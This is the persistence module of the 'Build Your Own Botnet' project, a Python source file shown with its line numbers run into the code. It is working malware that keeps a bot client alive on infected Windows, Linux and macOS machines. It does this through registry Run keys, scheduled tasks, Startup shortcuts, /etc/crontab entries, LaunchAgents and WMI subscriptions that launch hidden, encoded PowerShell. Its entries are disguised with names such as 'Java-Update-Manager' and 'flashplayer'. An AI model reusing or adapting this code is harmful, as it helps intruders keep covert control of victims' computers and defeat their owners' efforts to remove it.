Path: blob/master/web-gui/buildyourownbotnet/modules/persistence.py
1292 views
#!/usr/bin/python1# -*- coding: utf-8 -*-2'Persistence (Build Your Own Botnet)'34# standard libarary5import os6import sys7import time8import base649import random10import string11import subprocess1213# packages14if sys.platform == 'win32':15import _winreg1617# utilities18import util1920# globals21packages = ['_winreg'] if sys.platform == 'win32' else []22platforms = ['win32','linux','darwin']23results = {}24usage = 'persistence [method] <add/remove>'25description = """26Establish persistence on the client host machine27with multiple methods to ensure redundancy28"""2930# templates31template_wmi = string.Template("""$filter = ([wmiclass]"\\\\.\\root\\subscription:__EventFilter").CreateInstance()32$filter.QueryLanguage = "WQL"33$filter.Query = "Select * from __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA ${STARTUP}"34$filter.Name = "${NAME}"35$filter.EventNamespace = 'root\\cimv2'36$result = $filter.Put()37$filterPath = $result.Path38$consumer = ([wmiclass]"\\\\.\\root\\subscription:CommandLineEventConsumer").CreateInstance()39$consumer.Name = '${NAME}'40$consumer.CommandLineTemplate = '${COMMAND_LINE}'41$consumer.ExecutablePath = ""42$consumer.WorkingDirectory = "C:\\Windows\\System32"43$result = $consumer.Put()44$consumerPath = $result.Path45$bind = ([wmiclass]"\\\\.\\root\\subscription:__FilterToConsumerBinding").CreateInstance()46$bind.Filter = $filterPath47$bind.Consumer = $consumerPath48$result = $bind.Put()49$bindPath = $result.Path""")5051template_plist = string.Template("""#!/bin/bash52echo '<plist version="1.0">53<dict>54<key>Label</key>55<string>${LABEL}</string>56<key>ProgramArguments</key>57<array>58<string>/usr/bin/python</string>59<string>${FILE}</string>60</array>61<key>RunAtLoad</key>62<true/>63<key>StartInterval</key>64<integer>180</integer>65<key>AbandonProcessGroup</key>66<true/>67</dict>68</plist>' > ~/Library/LaunchAgents/${LABEL}.plist69chmod 600 ~/Library/LaunchAgents/${LABEL}.plist70launchctl load ~/Library/LaunchAgents/${LABEL}.plist71exit""")7273# main74class Method():75"""76Persistence Method (Build Your Own Botnet)7778"""79def __init__(self, name, platforms=['win32','linux','linux2','darwin']):80self.name = name81self.result = None82self.established = False83self.platforms = platforms84for _ in ('add','remove'):85if '_{}_{}'.format(_, self.name) not in globals():86util.log("required method '_{}_{}' not found".format(_, self.name))8788def add(self):89"""90Attempt to establish persistence using the given method9192"""93if sys.platform in self.platforms:94if not self.established:95self.established, self.result = globals()['_add_{}'.format(self.name)]()96else:97raise OSError("Persistence method '{}' not compatible with {} platforms".format(self.name, sys.platform))9899def remove(self):100"""101Remove an established persistence method from the host machine102103"""104if sys.platform in self.platforms:105if self.established:106self.established, self.result = globals()['_remove_{}'.format(self.name)]()107else:108raise OSError("Persistence method '{}' not compatible with {} platforms".format(self.name, sys.platform))109110def _add_hidden_file(value=None):111try:112value = sys.argv[0]113if value and os.path.isfile(value):114if os.name == 'nt':115path = value116hide = subprocess.call('attrib +h {}'.format(path), shell=True) == 0117else:118dirname, basename = os.path.split(value)119path = os.path.join(dirname, '.' + basename)120hide = subprocess.call('cp {} {}'.format(value, path), shell=True) == 0121return (True if hide else False, path)122else:123util.log("File '{}' not found".format(value))124except Exception as e:125util.log(e)126return (False, None)127128def _add_crontab_job(value=None, minutes=10, name='flashplayer'):129try:130if 'linux' in sys.platform:131value = os.path.abspath(sys.argv[0])132if value and os.path.isfile(value):133if not _methods['crontab_job'].established:134path = value135task = "0 * * * * root {}".format(path)136with open('/etc/crontab', 'r') as fp:137data = fp.read()138if task not in data:139with open('/etc/crontab', 'a') as fd:140fd.write('\n{}\n'.format(task))141return (True, path)142else:143return (True, path)144except Exception as e:145util.log("{} error: {}".format(_add_crontab_job.__name__, str(e)))146return (False, None)147148def _add_launch_agent(value=None, name='com.apple.update.manager'):149try:150global template_plist151if sys.platform == 'darwin':152if not value:153if len(sys.argv):154value = sys.argv[0]155elif '__file__' in globals():156value = globals().get('__file__')157else:158raise ValueError('No target file selected')159if value and os.path.isfile(value):160label = name161if not os.path.exists('/var/tmp'):162os.makedirs('/var/tmp')163fpath = '/var/tmp/.{}.sh'.format(name)164bash = template_plist.substitute(LABEL=label, FILE=value)165with open(fpath, 'w') as fileobj:166fileobj.write(bash)167bin_sh = bytes().join(subprocess.Popen('/bin/sh {}'.format(fpath), 0, None, None, subprocess.PIPE, subprocess.PIPE, shell=True).communicate())168time.sleep(1)169launch_agent= os.path.join(os.environ.get('HOME'), 'Library/LaunchAgents/{}.plist'.format(label))170if os.path.isfile(launch_agent):171os.remove(fpath)172return (True, launch_agent)173else:174util.log('File {} not found'.format(launch_agent))175except Exception as e2:176util.log('Error: {}'.format(str(e2)))177return (False, None)178179def _add_scheduled_task(value=None, name='Java-Update-Manager'):180try:181if os.name == 'nt' and not _methods['scheduled_task'].established:182value = sys.argv[0]183name = util.variable(random.randint(6,11))184if value and os.path.isfile(value):185result = subprocess.check_output('SCHTASKS /CREATE /TN {} /TR {} /SC hourly /F'.format(name, value), shell=True)186if 'SUCCESS' in result:187return (True, result.replace('"', ''))188except Exception as e:189util.log('Add scheduled task error: {}'.format(str(e)))190return (False, None)191192def _add_startup_file(value=None, name='Java-Update-Manager'):193try:194if os.name == 'nt' and not _methods['startup_file'].established:195value = sys.argv[0]196if value and os.path.isfile(value):197appdata = os.path.expandvars("%AppData%")198startup_dir = os.path.join(appdata, r'Microsoft\Windows\Start Menu\Programs\Startup')199if not os.path.exists(startup_dir):200os.makedirs(startup_dir)201startup_file = os.path.join(startup_dir, '%s.eu.url' % name)202content = '\n[InternetShortcut]\nURL=file:///%s\n' % value203if not os.path.exists(startup_file) or content != open(startup_file, 'r').read():204with open(startup_file, 'w') as fp:205fp.write(content)206return (True, startup_file)207except Exception as e:208util.log('{} error: {}'.format(_add_startup_file.__name__, str(e)))209return (False, None)210211def _add_registry_key(value=None, name='Java-Update-Manager'):212try:213if os.name == 'nt' and not _methods['registry_key'].established:214value = sys.argv[0]215if value and os.path.isfile(value):216try:217util.registry_key(r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", name, value)218return (True, name)219except Exception as e:220util.log('{} error: {}'.format(_add_registry_key.__name__, str(e)))221except Exception as e:222util.log('{} error: {}'.format(_add_registry_key.__name__, str(e)))223return (False, None)224225def _add_powershell_wmi(command=None, name='Java-Update-Manager'):226try:227global template_wmi228if os.name == 'nt' and not _methods['powershell_wmi'].established:229if command:230cmd_line = r'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(base64.b64encode(bytes(command).encode('UTF-16LE')))231startup = "'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"232script = template_wmi.substitute(STARTUP=startup, COMMAND_LINE=cmd_line, NAME=name)233_ = util.powershell(script)234code = "Get-WmiObject __eventFilter -namespace root\\subscription -filter \"name='%s'\"" % name235result = util.powershell(code)236if name in result:237return (True, result)238except Exception as e:239util.log('{} error: {}'.format(_add_powershell_wmi.__name__, str(e)))240return (False, None)241242def _remove_scheduled_task():243if _methods['scheduled_task'].established:244value = _methods['scheduled_task'].result245try:246if subprocess.call('SCHTASKS /DELETE /TN {} /F'.format(value), shell=True) == 0:247return (False, None)248except:249pass250return (_methods['scheduled_task'].established, _methods['scheduled_task'].result)251252def _remove_hidden_file():253try:254if _methods['hidden_file'].established:255filename = _methods['hidden_file'].result256if os.path.isfile(filename):257try:258unhide = 'attrib -h {}'.format(filename) if os.name == 'nt' else 'mv {} {}'.format(filename, os.path.join(os.path.dirname(filename), os.path.basename(filename).strip('.')))259if subprocess.call(unhide, 0, None, None, subprocess.PIPE, subprocess.PIPE, shell=True) == 0:260return (False, None)261except Exception as e1:262util.log('{} error: {}'.format(_remove_hidden_file.__name__, str(e1)))263except Exception as e2:264util.log('{} error: {}'.format(_remove_hidden_file.__name__, str(e2)))265return (_methods['hidden_file'].established, _methods['hidden_file'].result)266267def _remove_crontab_job(value=None, name='flashplayer'):268try:269if 'linux' in sys.platform and _methods['crontab_job'].established:270with open('/etc/crontab','r') as fp:271lines = [i.rstrip() for i in fp.readlines()]272for line in lines:273if name in line:274_ = lines.pop(line, None)275with open('/etc/crontab', 'a+') as fp:276fp.write('\n'.join(lines))277return (False, None)278except Exception as e:279util.log('{} error: {}'.format(_remove_crontab_job.__name__, str(e)))280return (_methods['hidden_file'].established, _methods['hidden_file'].result)281282def _remove_launch_agent(value=None, name='com.apple.update.manager'):283try:284if _methods['launch_agent'].established:285launch_agent = _methods['launch_agent'].result286if os.path.isfile(launch_agent):287util.delete(launch_agent)288return (False, None)289except Exception as e:290util.log("{} error: {}".format(_remove_launch_agent.__name__, str(e)))291return (_methods['launch_agent'].established, _methods['launch_agent'].result)292293def _remove_powershell_wmi(value=None, name='Java-Update-Manager'):294try:295if _methods['powershell_wmi'].established:296try:297code = r"""298Get-WmiObject __eventFilter -namespace root\subscription -filter "name='[NAME]'", Remove-WmiObject299Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter "name='[NAME]'" , Remove-WmiObject300Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription , Where-Object { $_.filter -match '[NAME]'} , Remove-WmiObject""".replace('[NAME]', name)301result = util.powershell(code)302if not result:303return (False, None)304except: pass305return (_methods['powershell_wmi'].established, _methods['powershell_wmi'].result)306except Exception as e:307util.log('{} error: {}'.format(_add_powershell_wmi.__name__, str(e)))308return (_methods['powershell_wmi'].established, _methods['powershell_wmi'].result)309310def _remove_registry_key(value=None, name='Java-Update-Manager'):311try:312if _methods['registry_key'].established:313value = _methods['registry_key'].result314try:315key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, _winreg.KEY_ALL_ACCESS)316_winreg.DeleteValue(key, name)317_winreg.CloseKey(key)318return (False, None)319except: pass320return (_methods['registry_key'].established, _methods['registry_key'].result)321except Exception as e:322util.log(str(e))323324def _remove_startup_file():325try:326if _methods['startup_file'].established:327value = _methods['startup_file'].result328if value and os.path.isfile(value):329if os.name != 'nt':330return (False, None)331appdata = os.path.expandvars("%AppData%")332startup_dir = os.path.join(appdata, r'Microsoft\Windows\Start Menu\Programs\Startup')333startup_file = os.path.join(startup_dir, value) + '.eu.url'334if os.path.exists(startup_file):335util.delete(startup_file)336return (False, None)337except Exception as e:338util.log('{} error: {}'.format(_remove_startup_file.__name__, str(e)))339340hidden_file = Method('hidden_file', platforms=['win32','linux','linux2','darwin'])341crontab_job = Method('crontab_job', platforms=['linux','linux2'])342registry_key = Method('registry_key', platforms=['win32'])343startup_file = Method('startup_file', platforms=['win32'])344launch_agent = Method('launch_agent', platforms=['darwin'])345scheduled_task = Method('scheduled_task', platforms=['win32'])346powershell_wmi = Method('powershell_wmi', platforms=['win32'])347348_methods = {method: globals()[method] for method in globals() if isinstance(globals()[method], Method)}349350def methods():351"""352Persistence methods as dictionary (JSON) object of key-value pairs353354Ex. {"method": <Method-object at 0x098fce>, ...}355356`Method`357:attr method add: run the method358:attr method remove: remove the method359:attr str name: name of the method360:attr bool established: True/False if established361:attr str result: method result output362363"""364return globals()['_methods'].items()365366def results():367"""368Results of completed persistence methods as dictionary (JSON) object of key-value pairs369370Ex. {"method": "result", ...}371372"""373return {name: method.result for name, method in globals()['_methods'].items() if method.established}374375def run():376"""377Attempt to establish persistence with every method378379"""380for name, method in globals()['_methods'].items():381if sys.platform in method.platforms:382try:383method.add()384except Exception as e:385util.log(e)386return results()387388def abort():389"""390Remove all established persistence methods391392"""393for name, method in globals()['_methods'].items():394if sys.platform in method.platforms:395try:396method.remove()397except Exception as e:398util.log(e)399400401